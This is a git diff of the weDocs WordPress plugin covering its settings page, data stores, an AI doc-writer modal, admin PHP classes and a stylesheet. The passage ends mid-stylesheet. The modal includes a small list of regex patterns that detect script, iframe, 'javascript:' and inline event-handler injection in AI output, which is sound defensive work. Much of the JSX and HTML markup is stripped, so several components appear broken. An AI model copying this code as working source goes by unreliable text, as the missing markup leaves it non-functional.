saving, setSaving ] = useState( false ); - - const handleSettingsSave = () => { - // Update wedocs settings data. - setSaving( true ); - dispatch( settingsStore ) - .updateSettings( { settings: docSettings } ) - .then( ( result ) => { - setSaving( false ); - setDocSettings( { ...docSettings, ...result } ); - Swal.fire( { - title: __( 'Settings Data Saved!', 'wedocs' ), - text: __( 'Settings data has been saved successfully', 'wedocs' ), - icon: 'success', - toast: true, - position: 'bottom-end', - showConfirmButton: false, - timer: 2000, - } ); - } ) - .catch( ( err ) => { - Swal.fire( { - title: __( 'Error', 'wedocs' ), - text: err.message, - icon: 'error', - toast: true, - position: 'bottom-end', - showConfirmButton: false, - timer: 3000, - } ); - } ); - }; - - let templates = [ - , - , - ]; - - templates = wp.hooks.applyFilters( - 'wedocs_settings_page_templates', - templates, - docSettings, - setDocSettings - ); - - const settingsFooter = wp.hooks.applyFilters( - 'wedocs_settings_page_footer', - '', - docSettings?.assistant - ); - - const showActions = wp.hooks.applyFilters( - 'wedocs_show_documentation_actions', - true - ); - - useEffect( () => { - if ( settings?.docs_home && ! Boolean( settings?.general?.docs_home ) ) { - const email = settings?.email; - const print = settings?.print; - const helpful = settings?.helpful; - const emailTo = settings?.email_to; - const comments = settings?.comments; - const docsPageId = settings?.docs_home; - - delete settings?.email; - delete settings?.print; - delete settings?.helpful; - delete settings?.comments; - delete settings?.email_to; - delete settings?.docs_home; - - settings.general.email = typeof email !== 'undefined' ? email : 'on'; - settings.general.print = typeof print !== 'undefined' ? print : 'on'; - settings.general.helpful = typeof helpful !== 'undefined' ? helpful : 'on'; - settings.general.email_to = typeof emailTo !== 'undefined' ? emailTo : ''; - settings.general.comments = typeof comments !== 'undefined' ? comments : 'off'; - settings.general.docs_home = docsPageId; - } - - setDocSettings( { ...docSettings, ...settings } ); - }, [ settings ] ); - - if ( status === 'done' ) { - dispatch( settingsStore ) - .makeUpdateDone() - .then( ( result ) => { - if ( result ) { - Swal.fire( { - icon: 'success', - text: __( 'weDocs database has been updated successfully', 'wedocs' ), - title: __( 'Database Updated!', 'wedocs' ), - toast: true, - timer: 3000, - position: 'bottom-end', - showConfirmButton: false, - } ); - } - } ) - .catch( ( err ) => {} ); - } - - return ( -
    - { showActions && need_upgrade && } - -
    -
    -
    -
    -
    -
    - - - -
    - - { templates && - templates?.map( ( value, index ) => ( - { value } - ) ) } - -
    -
    -
    -
    - - -
    -
    - { /* Render settings footer contents. */ } - { settingsFooter } -
    -
    -
    - ); -}; - -window.weDocsSettingsPage = SettingsPage; -export default SettingsPage; +import Menu from './Menu'; +import SaveButton from './SaveButton'; +import { Tab } from '@headlessui/react'; +import { useEffect, useState } from '@wordpress/element'; +import { dispatch, useSelect } from '@wordpress/data'; +import settingsStore from '../../data/settings'; +import GeneralSettings from './GeneralSettings'; +import AiSettings from './AiSettings'; +import Swal from 'sweetalert2'; +import { __ } from '@wordpress/i18n'; +import Upgrade from '../Upgrade'; +import { useParams } from 'react-router-dom'; +import WedocsPromoNotice from '../WedocsPromoNotice'; + +const SettingsPage = () => { + const { panel } = useParams(); + + const settings = useSelect( + ( select ) => select( settingsStore ).getSettings(), + [] + ); + + const panelIndex = Object.keys( settings ).indexOf( panel ); + const [ selectedIndex, setSelectedIndex ] = useState( panelIndex || 0 ); + + const [ docSettings, setDocSettings ] = useState( { ...settings } ); + + const { need_upgrade, status } = useSelect( + ( select ) => select( settingsStore ).getUpgradeInfo(), + [] + ); + + const [ saving, setSaving ] = useState( false ); + + const handleSettingsSave = () => { + // Update wedocs settings data. + setSaving( true ); + dispatch( settingsStore ) + .updateSettings( { settings: docSettings } ) + .then( ( result ) => { + setSaving( false ); + setDocSettings( { ...docSettings, ...result } ); + Swal.fire( { + title: __( 'Settings Data Saved!', 'wedocs' ), + text: __( 'Settings data has been saved successfully', 'wedocs' ), + icon: 'success', + toast: true, + position: 'bottom-end', + showConfirmButton: false, + timer: 2000, + } ); + } ) + .catch( ( err ) => { + Swal.fire( { + title: __( 'Error', 'wedocs' ), + text: err.message, + icon: 'error', + toast: true, + position: 'bottom-end', + showConfirmButton: false, + timer: 3000, + } ); + } ); + }; + + let templates = [ + , + , + ]; + + templates = wp.hooks.applyFilters( + 'wedocs_settings_page_templates', + templates, + docSettings, + setDocSettings + ); + + const settingsFooter = wp.hooks.applyFilters( + 'wedocs_settings_page_footer', + '', + docSettings?.assistant + ); + + const showActions = wp.hooks.applyFilters( + 'wedocs_show_documentation_actions', + true + ); + + useEffect( () => { + if ( settings?.docs_home && ! Boolean( settings?.general?.docs_home ) ) { + const email = settings?.email; + const print = settings?.print; + const helpful = settings?.helpful; + const emailTo = settings?.email_to; + const comments = settings?.comments; + const docsPageId = settings?.docs_home; + + delete settings?.email; + delete settings?.print; + delete settings?.helpful; + delete settings?.comments; + delete settings?.email_to; + delete settings?.docs_home; + + settings.general.email = typeof email !== 'undefined' ? email : 'on'; + settings.general.print = typeof print !== 'undefined' ? print : 'on'; + settings.general.helpful = typeof helpful !== 'undefined' ? helpful : 'on'; + settings.general.email_to = typeof emailTo !== 'undefined' ? emailTo : ''; + settings.general.comments = typeof comments !== 'undefined' ? comments : 'off'; + settings.general.docs_home = docsPageId; + } + + setDocSettings( { ...docSettings, ...settings } ); + }, [ settings ] ); + + if ( status === 'done' ) { + dispatch( settingsStore ) + .makeUpdateDone() + .then( ( result ) => { + if ( result ) { + Swal.fire( { + icon: 'success', + text: __( 'weDocs database has been updated successfully', 'wedocs' ), + title: __( 'Database Updated!', 'wedocs' ), + toast: true, + timer: 3000, + position: 'bottom-end', + showConfirmButton: false, + } ); + } + } ) + .catch( ( err ) => {} ); + } + + return ( +
    + { showActions && need_upgrade && } + +
    +
    +
    +
    +
    +
    + + + +
    + + { templates && + templates?.map( ( value, index ) => ( + { value } + ) ) } + +
    +
    +
    +
    + + +
    +
    + { /* Render settings footer contents. */ } + { settingsFooter } +
    +
    +
    + ); +}; + +window.weDocsSettingsPage = SettingsPage; +export default SettingsPage; diff --git a/src/data/docs/controls.js b/src/data/docs/controls.js index d20772a6..2b4f1a54 100644 --- a/src/data/docs/controls.js +++ b/src/data/docs/controls.js @@ -1,24 +1,24 @@ -import apiFetch from '@wordpress/api-fetch'; - -const controls = { - FETCH_FROM_API( action ) { - return apiFetch( { path: action.path } ); - }, - - UPDATE_TO_API( action ) { - return apiFetch( { - path: action.path, - data: action.data, - method: 'POST', - } ); - }, - - DELETE_TO_API( action ) { - return apiFetch( { - path: action.path, - method: 'DELETE', - } ); - }, -}; - -export default controls; +import apiFetch from '@wordpress/api-fetch'; + +const controls = { + FETCH_FROM_API( action ) { + return apiFetch( { path: action.path } ); + }, + + UPDATE_TO_API( action ) { + return apiFetch( { + path: action.path, + data: action.data, + method: 'POST', + } ); + }, + + DELETE_TO_API( action ) { + return apiFetch( { + path: action.path, + method: 'DELETE', + } ); + }, +}; + +export default controls; diff --git a/src/data/settings/controls.js b/src/data/settings/controls.js index 8aa1fea4..2f43ce6c 100644 --- a/src/data/settings/controls.js +++ b/src/data/settings/controls.js @@ -1,52 +1,52 @@ -import apiFetch from '@wordpress/api-fetch'; - -const isProLoaded = wp.hooks.applyFilters( - 'wedocs_pro_loaded', - false -); - -const controls = { - FETCH_SETTINGS() { - return apiFetch( { - path: '/wp/v2/docs/settings?data=wedocs_settings', - } ); - }, - - FETCH_ROLES() { - return apiFetch( { - path: '/wp/v2/docs/users', - } ); - }, - - FETCH_UPGRADE_INFO() { - return apiFetch( { - path: '/wp/v2/docs/upgrade', - } ); - }, - - FETCH_SITE_KEY() { - return apiFetch( { - path: '/wp/v2/docs/settings/turnstile-site-key', - } ); - }, - - UPDATE_TO_API( action ) { - return apiFetch( { - path: action.path, - data: action.data, - method: 'POST', - } ); - }, - - FETCH_PROMO_NOTICE() { - if ( isProLoaded ) { - return null; - } - - return apiFetch( { - path: '/wp/v2/docs/promotion-notice', - } ); - }, -}; - -export default controls; +import apiFetch from '@wordpress/api-fetch'; + +const isProLoaded = wp.hooks.applyFilters( + 'wedocs_pro_loaded', + false +); + +const controls = { + FETCH_SETTINGS() { + return apiFetch( { + path: '/wp/v2/docs/settings?data=wedocs_settings', + } ); + }, + + FETCH_ROLES() { + return apiFetch( { + path: '/wp/v2/docs/users', + } ); + }, + + FETCH_UPGRADE_INFO() { + return apiFetch( { + path: '/wp/v2/docs/upgrade', + } ); + }, + + FETCH_SITE_KEY() { + return apiFetch( { + path: '/wp/v2/docs/settings/turnstile-site-key', + } ); + }, + + UPDATE_TO_API( action ) { + return apiFetch( { + path: action.path, + data: action.data, + method: 'POST', + } ); + }, + + FETCH_PROMO_NOTICE() { + if ( isProLoaded ) { + return null; + } + + return apiFetch( { + path: '/wp/v2/docs/promotion-notice', + } ); + }, +}; + +export default controls; diff --git a/src/data/settings/reducer.js b/src/data/settings/reducer.js index 05a43873..0f0cbe56 100644 --- a/src/data/settings/reducer.js +++ b/src/data/settings/reducer.js @@ -1,132 +1,132 @@ -const DEFAULT_SETTINGS_STATE = { - roles: {}, - settings: { - general: { - docs_home: '', - email: 'on', - email_to: '', - helpful: 'on', - comments: 'off', - print: 'on', - enable_search: 'on', - collapse_articles: 'off', - }, - permission: { - global_permission: [ 'administrator', 'editor' ], - role_wise_permission: [ 'administrator' ], - show_contributors: 'on', - }, - assistant: { - assist_enable: 'on', - integrate_ai: { - ai_enabled: 'off', - sync_data: 'off', - ai_response: {} - }, - explore: { - explore_enable: 'on', - }, - message: { - messaging_enable: 'on', - turnstile_site_key: '', - }, - placement: { - order: [ 'integrate_ai', 'explore', 'message' ], - }, - preference: { - color_settings: { - preview_colors: { - widgetBg: { r: 99, g: 102, b: 241, a: 1 }, - activeTabBg: { r: 255, g: 255, b: 255, a: 1 }, - activeTabFont: { r: 55, g: 65, b: 81, a: 1 }, - inactiveTabBg: { r: 67, g: 56, b: 202, a: 1 }, - inactiveTabFont: { r: 199, g: 210, b: 254, a: 1 }, - tabTitleFont: { r: 255, g: 255, b: 255, a: 1 }, - tabDescriptionFont: { r: 199, g: 210, b: 254, a: 1 }, - breadcrumbColor: { r: 67, g: 56, b: 202, a: 1 }, - bubbleBg: { r: 87, g: 116, b: 241, a: 1 }, - bubbleIcon: { r: 255, g: 255, b: 255, a: 1 }, - }, - }, - } - }, - layout: { - column: '2', - nav_icon: 'on', - right_bar: 'on', - template: 'default', - active_text: { r: 59, g: 130, b: 246, a: 1 }, - active_nav_bg: { r: 59, g: 130, b: 246, a: 1 }, - active_nav_text: { r: 255, g: 255, b: 255, a: 1 }, - }, - ai: { - default_provider: 'openai', - providers: (() => { - // Generate default providers from centralized configs - const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; - const providers = {}; - - Object.keys(configs).forEach(providerKey => { - const provider = configs[providerKey]; - const modelKeys = Object.keys(provider.models); - const firstModel = modelKeys[0]; // Use first model as default - - providers[providerKey] = { - api_key: '', - models: modelKeys, - selected_model: firstModel - }; - - }); - - return providers; - })(), - } - }, - loading: false, - saving: false, - needUpgrade: false, -}; - -const reducer = ( state = DEFAULT_SETTINGS_STATE, action ) => { - switch ( action.type ) { - case 'SET_SETTINGS': - return { ...state, settings: { ...state.settings, ...action.settings } }; - case 'SET_LOADING': - return { ...state, loading: action.loading }; - case 'SET_ROLES': - return { ...state, roles: action.roles }; - case 'SET_SETTINGS_OPTION': - return { - ...state, - settings: { - ...state.settings, - [ action.option ]: action.value, - }, - }; - case 'SET_UPGRADE_INFO': - return { ...state, needUpgrade: action.needUpgrade }; - case 'SET_PROMO_NOTICE': - return { ...state, promoNotice: action.promoNotice }; - case 'SET_SAVING': - return { ...state, saving: action.saving }; - case 'SET_TURNSTILE_SITE_KEY': - return { - ...state, - settings: { - ...state.settings, - assistant: { - ...state.settings.assistant, - message: { - ...state.settings.assistant.message, - turnstile_site_key: action.siteKey, - } - }, - }, - }; - default: - return state; - } -}; - -export default reducer; +const DEFAULT_SETTINGS_STATE = { + roles: {}, + settings: { + general: { + docs_home: '', + email: 'on', + email_to: '', + helpful: 'on', + comments: 'off', + print: 'on', + enable_search: 'on', + collapse_articles: 'off', + }, + permission: { + global_permission: [ 'administrator', 'editor' ], + role_wise_permission: [ 'administrator' ], + show_contributors: 'on', + }, + assistant: { + assist_enable: 'on', + integrate_ai: { + ai_enabled: 'off', + sync_data: 'off', + ai_response: {} + }, + explore: { + explore_enable: 'on', + }, + message: { + messaging_enable: 'on', + turnstile_site_key: '', + }, + placement: { + order: [ 'integrate_ai', 'explore', 'message' ], + }, + preference: { + color_settings: { + preview_colors: { + widgetBg: { r: 99, g: 102, b: 241, a: 1 }, + activeTabBg: { r: 255, g: 255, b: 255, a: 1 }, + activeTabFont: { r: 55, g: 65, b: 81, a: 1 }, + inactiveTabBg: { r: 67, g: 56, b: 202, a: 1 }, + inactiveTabFont: { r: 199, g: 210, b: 254, a: 1 }, + tabTitleFont: { r: 255, g: 255, b: 255, a: 1 }, + tabDescriptionFont: { r: 199, g: 210, b: 254, a: 1 }, + breadcrumbColor: { r: 67, g: 56, b: 202, a: 1 }, + bubbleBg: { r: 87, g: 116, b: 241, a: 1 }, + bubbleIcon: { r: 255, g: 255, b: 255, a: 1 }, + }, + }, + } + }, + layout: { + column: '2', + nav_icon: 'on', + right_bar: 'on', + template: 'default', + active_text: { r: 59, g: 130, b: 246, a: 1 }, + active_nav_bg: { r: 59, g: 130, b: 246, a: 1 }, + active_nav_text: { r: 255, g: 255, b: 255, a: 1 }, + }, + ai: { + default_provider: 'openai', + providers: (() => { + // Generate default providers from centralized configs + const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; + const providers = {}; + + Object.keys(configs).forEach(providerKey => { + const provider = configs[providerKey]; + const modelKeys = Object.keys(provider.models); + const firstModel = modelKeys[0]; // Use first model as default + + providers[providerKey] = { + api_key: '', + models: modelKeys, + selected_model: firstModel + }; + + }); + + return providers; + })(), + } + }, + loading: false, + saving: false, + needUpgrade: false, +}; + +const reducer = ( state = DEFAULT_SETTINGS_STATE, action ) => { + switch ( action.type ) { + case 'SET_SETTINGS': + return { ...state, settings: { ...state.settings, ...action.settings } }; + case 'SET_LOADING': + return { ...state, loading: action.loading }; + case 'SET_ROLES': + return { ...state, roles: action.roles }; + case 'SET_SETTINGS_OPTION': + return { + ...state, + settings: { + ...state.settings, + [ action.option ]: action.value, + }, + }; + case 'SET_UPGRADE_INFO': + return { ...state, needUpgrade: action.needUpgrade }; + case 'SET_PROMO_NOTICE': + return { ...state, promoNotice: action.promoNotice }; + case 'SET_SAVING': + return { ...state, saving: action.saving }; + case 'SET_TURNSTILE_SITE_KEY': + return { + ...state, + settings: { + ...state.settings, + assistant: { + ...state.settings.assistant, + message: { + ...state.settings.assistant.message, + turnstile_site_key: action.siteKey, + } + }, + }, + }; + default: + return state; + } +}; + +export default reducer; diff --git a/src/editor/AiDocWriter.js b/src/editor/AiDocWriter.js index 2a65e75b..a4ed6caa 100644 --- a/src/editor/AiDocWriter.js +++ b/src/editor/AiDocWriter.js @@ -1,8 +1,8 @@ -import { registerPlugin } from '@wordpress/plugins'; -import AiDocWriterIcon from '../icons'; -import AiDocWriterPanel from './AiDocWriterPanel'; - -registerPlugin('wedocs-ai-doc-writer', { - icon: AiDocWriterIcon, - render: AiDocWriterPanel, -}); +import { registerPlugin } from '@wordpress/plugins'; +import AiDocWriterIcon from '../icons'; +import AiDocWriterPanel from './AiDocWriterPanel'; + +registerPlugin('wedocs-ai-doc-writer', { + icon: AiDocWriterIcon, + render: AiDocWriterPanel, +}); diff --git a/src/editor/AiDocWriterModal.js b/src/editor/AiDocWriterModal.js index 3869e5bd..1c4c5751 100644 --- a/src/editor/AiDocWriterModal.js +++ b/src/editor/AiDocWriterModal.js @@ -1,523 +1,523 @@ -import { __ } from '@wordpress/i18n'; -import { useState, useEffect, useMemo } from '@wordpress/element'; -import { - Modal, - Button, - TextControl, - TextareaControl, - ToggleControl, - Notice, - Spinner, - PanelBody, - PanelRow, - Card, - CardBody, - CardHeader, - Flex, - FlexItem, - __experimentalHStack as HStack, - __experimentalVStack as VStack, -} from '@wordpress/components'; -import { useSelect, useDispatch } from '@wordpress/data'; -import { store as editorStore } from '@wordpress/editor'; -import { store as blockEditorStore } from '@wordpress/block-editor'; -import { createBlock } from '@wordpress/blocks'; -import AiDocWriterPreview from './AiDocWriterPreview'; -import aiService from '../utils/aiService'; - -const AiDocWriterModal = ({ isOpen, onClose }) => { - const [title, setTitle] = useState(''); - const [prompt, setPrompt] = useState(''); - const [keywords, setKeywords] = useState(''); - const [overwriteContent, setOverwriteContent] = useState(false); - const [useExistingContent, setUseExistingContent] = useState(true); - const [isGenerating, setIsGenerating] = useState(false); - const [generatedContent, setGeneratedContent] = useState(''); - const [showPreview, setShowPreview] = useState(false); - const [error, setError] = useState(''); - - // WordPress editor dispatch hooks - const { insertBlocks, replaceBlocks, insertDefaultBlock } = useDispatch(blockEditorStore); - const { editPost } = useDispatch(editorStore); - - // Get current post data and editor state with enhanced cursor detection - const editorData = useSelect((select) => { - const { getCurrentPost, getEditedPostContent } = select('core/editor'); - const { - getSelectedBlockClientId, - getBlocks, - getSelectedBlock, - getBlockInsertionPoint, - getBlockOrder - } = select('core/block-editor'); - - return { - post: getCurrentPost(), - content: getEditedPostContent(), - selectedBlockClientId: getSelectedBlockClientId(), - blocks: getBlocks(), - selectedBlock: getSelectedBlock(), - insertionPoint: getBlockInsertionPoint(), - blockOrder: getBlockOrder() - }; - }, []); - - // Create stable references using useMemo - const { currentPost, selectedBlockId, blocks, cursorPosition } = useMemo(() => { - const post = editorData.post; - const content = editorData.content; - const selectedBlockClientId = editorData.selectedBlockClientId; - const blocks = editorData.blocks || []; - const selectedBlock = editorData.selectedBlock; - const insertionPoint = editorData.insertionPoint; - const blockOrder = editorData.blockOrder || []; - - return { - currentPost: { - id: post?.id || null, - title: post?.title || '', - contentRaw: content || '', - contentRendered: content || '' - }, - selectedBlockId: selectedBlockClientId || null, - blocks: blocks, - cursorPosition: { - selectedBlock: selectedBlock, - insertionPoint: insertionPoint, - blockOrder: blockOrder, - hasSelection: !!selectedBlockClientId, - selectedBlockIndex: selectedBlock ? blockOrder.indexOf(selectedBlock.clientId) : -1 - } - }; - }, [editorData]); - - // Pre-fill title with current post title - useEffect(() => { - if (currentPost?.title && !title) { - setTitle(currentPost.title); - } - }, [currentPost]); - - // Generate dynamic prompt from title and keywords - const generateDynamicPrompt = (docTitle, docKeywords) => { - if (!docTitle && !docKeywords) { - return __( - "Generate documentation using HTML heading tags for the title. Include details on {Documentation Keywords} and wrap all content in

    tags. Highlight headings and keywords with .", - 'wedocs' - ); - } - - let dynamicPrompt = __( - "Generate documentation using HTML heading tags for '{title}'. Include relevant details on {keywords} in the documentation. Wrap all content in

    tags. Highlight headings and keywords with .", - 'wedocs' - ); - - // Replace placeholders with actual values - if (docTitle) { - dynamicPrompt = dynamicPrompt.replace('{title}', docTitle); - } else { - dynamicPrompt = dynamicPrompt.replace("for '{title}'", 'for the title'); - } - - if (docKeywords) { - dynamicPrompt = dynamicPrompt.replace('{keywords}', docKeywords); - } else { - dynamicPrompt = dynamicPrompt.replace('Include relevant details on {keywords} in the documentation.', 'Include relevant details in the documentation.'); - } - - return dynamicPrompt; - }; - - // Update prompt when title or keywords change - useEffect(() => { - const dynamicPrompt = generateDynamicPrompt(title, keywords); - setPrompt(dynamicPrompt); - }, [title, keywords]); - - // Clean AI-generated content - const cleanGeneratedContent = (content) => { - if (!content) return content; - - // Remove HTML document structure - let cleaned = content - .replace(/```html\s*/gi, '') // Remove markdown code blocks - .replace(/```\s*/g, '') // Remove closing code blocks - .replace(/]*>/gi, '') // Remove DOCTYPE - .replace(/]*>/gi, '') // Remove html tag - .replace(/<\/html>/gi, '') // Remove closing html tag - .replace(/]*>[\s\S]*?<\/head>/gi, '') // Remove head section - .replace(/]*>/gi, '') // Remove body opening tag - .replace(/<\/body>/gi, '') // Remove body closing tag - .replace(/]*>[\s\S]*?<\/style>/gi, '') // Remove style blocks - .replace(/]*>[\s\S]*?<\/title>/gi, '') // Remove title - .replace(/]*>/gi, '') // Remove meta tags - .trim(); - - return cleaned; - }; - - // Validate AI-generated content - const validateGeneratedContent = (content) => { - const errors = []; - - // Check if content is empty - if (!content || content.trim().length === 0) { - errors.push(__('Generated content is empty.', 'wedocs')); - return { isValid: false, errors }; - } - - // Check for basic HTML structure - const hasParagraphs = /]*>.*?<\/p>/i.test(content); - const hasHeadings = /]*>.*?<\/h[1-6]>/i.test(content); - - if (!hasParagraphs && !hasHeadings) { - errors.push(__('Generated content should contain at least paragraphs or headings.', 'wedocs')); - } - - - // Check for potentially dangerous HTML (basic XSS prevention) - const dangerousPatterns = [ - /]*>.*?<\/script>/gi, - /]*>.*?<\/iframe>/gi, - /javascript:/gi, - /on\w+\s*=/gi - ]; - - for (const pattern of dangerousPatterns) { - if (pattern.test(content)) { - errors.push(__('Generated content contains potentially unsafe HTML elements.', 'wedocs')); - break; - } - } - - // Check for minimum content length - const textContent = content.replace(/<[^>]*>/g, '').trim(); - if (textContent.length < 50) { - errors.push(__('Generated content is too short. Please try again with more specific keywords.', 'wedocs')); - } - - // Check for maximum content length (prevent extremely long content) - if (textContent.length > 10000) { - errors.push(__('Generated content is too long. Please try again with more focused keywords.', 'wedocs')); - } - - return { - isValid: errors.length === 0, - errors - }; - }; - - - const handleGenerate = async () => { - if (!title.trim()) { - setError(__('Please enter a documentation title.', 'wedocs')); - return; - } - - if (!keywords.trim()) { - setError(__('Please enter keywords to guide the AI.', 'wedocs')); - return; - } - - setError(''); - setIsGenerating(true); - - try { - // Get AI settings to determine provider and model - const aiSettings = await aiService.getAiSettings(); - - // Check if AI is properly configured - if (!aiSettings.providers[aiSettings.default_provider]?.api_key) { - setError(__('AI service is not configured. Please set up your AI provider settings in weDocs > Settings > AI Control Settings.', 'wedocs')); - return; - } - - // Use AI service to generate content - let systemPrompt = __( - 'You are a professional documentation writer. Generate comprehensive, well-structured documentation content using HTML tags. Use proper heading hierarchy (h2, h3, etc.) and wrap all content in paragraph tags. Highlight important terms with tags. IMPORTANT: Only return the content body without HTML document structure (no , , , - - - - - - - -
    - - ID, 'positive', true ) ); ?> - - - ID, 'negative', true ) ); ?> -
    - __( 'Votes', 'wedocs' ) ]; - - // insert before last element, date - $first_items = array_splice( $columns, 0, 3 ); // remove first 3 items and store to $first_items, date remains to $columns - $new_columns = array_merge( $first_items, $vote, $columns ); // merge all those - - return $new_columns; - } - - public function docs_sortable_columns( $columns ) { - $columns['votes'] = [ 'votes', true ]; - - return $columns; - } - - public function docs_list_columns_row( $column_name, $post_id ) { - if ( 'votes' == $column_name ) { - $positive = get_post_meta( $post_id, 'positive', true ); - $negative = get_post_meta( $post_id, 'negative', true ); - - printf( '%d/%d', $positive, $negative ); - } - } - - public function edit_docs_load() { - add_filter( 'request', [ $this, 'sort_docs' ] ); - } - - // Sorts the movies. - public function sort_docs( $vars ) { - // Check if we're viewing the 'movie' post type. - if ( isset( $vars['post_type'] ) && 'docs' == $vars['post_type'] ) { - // Check if 'orderby' is set to 'duration'. - if ( isset( $vars['orderby'] ) && 'votes' == $vars['orderby'] ) { - $vars = array_merge( - $vars, - [ - 'meta_key' => 'positive', - 'orderby' => 'meta_value_num', - ] - ); - } - } - - return $vars; - } -} +post_type ) { + return; + } ?> + + + + + + + + +
    + + ID, 'positive', true ) ); ?> + + + ID, 'negative', true ) ); ?> +
    + __( 'Votes', 'wedocs' ) ]; + + // insert before last element, date + $first_items = array_splice( $columns, 0, 3 ); // remove first 3 items and store to $first_items, date remains to $columns + $new_columns = array_merge( $first_items, $vote, $columns ); // merge all those + + return $new_columns; + } + + public function docs_sortable_columns( $columns ) { + $columns['votes'] = [ 'votes', true ]; + + return $columns; + } + + public function docs_list_columns_row( $column_name, $post_id ) { + if ( 'votes' == $column_name ) { + $positive = get_post_meta( $post_id, 'positive', true ); + $negative = get_post_meta( $post_id, 'negative', true ); + + printf( '%d/%d', $positive, $negative ); + } + } + + public function edit_docs_load() { + add_filter( 'request', [ $this, 'sort_docs' ] ); + } + + // Sorts the movies. + public function sort_docs( $vars ) { + // Check if we're viewing the 'movie' post type. + if ( isset( $vars['post_type'] ) && 'docs' == $vars['post_type'] ) { + // Check if 'orderby' is set to 'duration'. + if ( isset( $vars['orderby'] ) && 'votes' == $vars['orderby'] ) { + $vars = array_merge( + $vars, + [ + 'meta_key' => 'positive', + 'orderby' => 'meta_value_num', + ] + ); + } + } + + return $vars; + } +} diff --git a/includes/Admin/Menu.php b/includes/Admin/Menu.php index a764fb16..be4cec82 100644 --- a/includes/Admin/Menu.php +++ b/includes/Admin/Menu.php @@ -1,138 +1,138 @@ -capability = wedocs_get_publish_cap(); - - add_action( 'admin_menu', array( $this, 'add_admin_menu' ) ); - add_action( 'admin_menu', array( $this, 'add_admin_submenu' ) ); - add_action( 'admin_head', array( $this, 'cleanup_admin_notices' ), 1 ); - } - - /** - * Add menu to Admin Dashboard. - * - * @since 2.0.0 - * - * @return void - */ - public function add_admin_menu() { - add_menu_page( - __( 'weDocs', 'wedocs' ), - __( 'weDocs', 'wedocs' ), - $this->capability, - 'wedocs', - array( $this, 'display_wedocs' ), - 'dashicons-media-document', - $this->get_menu_position() - ); - } - - /** - * Add submenu to Admin Dashboard. - * - * @since 2.0.0 - * - * @return void - */ - public function add_admin_submenu() { - global $submenu; - - if ( ! ( current_user_can( 'manage_options' ) || current_user_can( wedocs_get_publish_cap() ) ) ) { - return; - } - - $base = admin_url( 'admin.php?page=wedocs' ); - $all_submenus = array( - array( - __( 'Docs', 'wedocs' ), - $this->capability, - $base . '#/', - ), - array( - __( 'Tags', 'wedocs' ), - $this->capability, - 'edit-tags.php?taxonomy=doc_tag&post_type=docs', - ), - array( - __( 'Settings', 'wedocs' ), - apply_filters( 'wedocs_settings_management_capabilities', $this->capability ), - $base . '#/settings', - ), - array( - __( 'Migration', 'wedocs' ), - apply_filters( 'wedocs_migration_management_capabilities', 'manage_options' ), - $base . '#/migrate', - ), - ); - - $all_submenus = apply_filters( 'wedocs_submenu', $all_submenus ); - if ( empty( $submenu['wedocs'] ) ) { - $submenu['wedocs'] = array(); // phpcs:ignore. - } - - array_push( - $submenu['wedocs'], - ...$all_submenus - ); - } - - /** - * Display documentations dashboard. - * - * @since 2.0.0 - * - * @return void - */ - public function display_wedocs() { - wedocs_get_template_part( 'admin/docs' ); - } - - /** - * Get the admin menu position. - * - * @since 2.0.0 - * - * @return int the position of the menu - */ - public function get_menu_position() { - return apply_filters( 'wedocs_menu_position', 48 ); - } - - /** - * Cleans admin notice. - * - * @since 2.0.0 - * - * @return void - */ - public function cleanup_admin_notices() { - if ( 'toplevel_page_wedocs' === get_current_screen()->id ) { - remove_all_actions( 'admin_notices' ); - } - } -} +capability = wedocs_get_publish_cap(); + + add_action( 'admin_menu', array( $this, 'add_admin_menu' ) ); + add_action( 'admin_menu', array( $this, 'add_admin_submenu' ) ); + add_action( 'admin_head', array( $this, 'cleanup_admin_notices' ), 1 ); + } + + /** + * Add menu to Admin Dashboard. + * + * @since 2.0.0 + * + * @return void + */ + public function add_admin_menu() { + add_menu_page( + __( 'weDocs', 'wedocs' ), + __( 'weDocs', 'wedocs' ), + $this->capability, + 'wedocs', + array( $this, 'display_wedocs' ), + 'dashicons-media-document', + $this->get_menu_position() + ); + } + + /** + * Add submenu to Admin Dashboard. + * + * @since 2.0.0 + * + * @return void + */ + public function add_admin_submenu() { + global $submenu; + + if ( ! ( current_user_can( 'manage_options' ) || current_user_can( wedocs_get_publish_cap() ) ) ) { + return; + } + + $base = admin_url( 'admin.php?page=wedocs' ); + $all_submenus = array( + array( + __( 'Docs', 'wedocs' ), + $this->capability, + $base . '#/', + ), + array( + __( 'Tags', 'wedocs' ), + $this->capability, + 'edit-tags.php?taxonomy=doc_tag&post_type=docs', + ), + array( + __( 'Settings', 'wedocs' ), + apply_filters( 'wedocs_settings_management_capabilities', $this->capability ), + $base . '#/settings', + ), + array( + __( 'Migration', 'wedocs' ), + apply_filters( 'wedocs_migration_management_capabilities', 'manage_options' ), + $base . '#/migrate', + ), + ); + + $all_submenus = apply_filters( 'wedocs_submenu', $all_submenus ); + if ( empty( $submenu['wedocs'] ) ) { + $submenu['wedocs'] = array(); // phpcs:ignore. + } + + array_push( + $submenu['wedocs'], + ...$all_submenus + ); + } + + /** + * Display documentations dashboard. + * + * @since 2.0.0 + * + * @return void + */ + public function display_wedocs() { + wedocs_get_template_part( 'admin/docs' ); + } + + /** + * Get the admin menu position. + * + * @since 2.0.0 + * + * @return int the position of the menu + */ + public function get_menu_position() { + return apply_filters( 'wedocs_menu_position', 48 ); + } + + /** + * Cleans admin notice. + * + * @since 2.0.0 + * + * @return void + */ + public function cleanup_admin_notices() { + if ( 'toplevel_page_wedocs' === get_current_screen()->id ) { + remove_all_actions( 'admin_notices' ); + } + } +} diff --git a/src/assets/less/frontend.less b/src/assets/less/frontend.less index b54cdfbd..cd923fda 100644 --- a/src/assets/less/frontend.less +++ b/src/assets/less/frontend.less @@ -1,799 +1,799 @@ -@import 'src/assets/less/variables'; -@import 'src/assets/less/fonts'; -@import 'src/assets/less/search-modal.less'; - -body.single.single-docs .content-area { - width: 100%; -} - -.screen-reader-text { - clip: rect(1px, 1px, 1px, 1px); - overflow: hidden; - position: absolute !important; - height: 1px; - width: 1px; -} - -.wedocs-overflow-hidden { - overflow: hidden; -} - -.wedocs-single-wrap { - width: 100%; - display: -ms-flex; - display: -webkit-flex; - display: flex; - .clearfix(); - - .wedocs-sidebar { - width: 25%; - - h3.widget-title { - font-weight: bold; - margin: 0 0 15px 0; - } - - ul.doc-nav-list { - padding: 0; - list-style: none; - margin: 0 12px 0 0; - - > li > a:before { - content: '\f07c'; - margin-right: 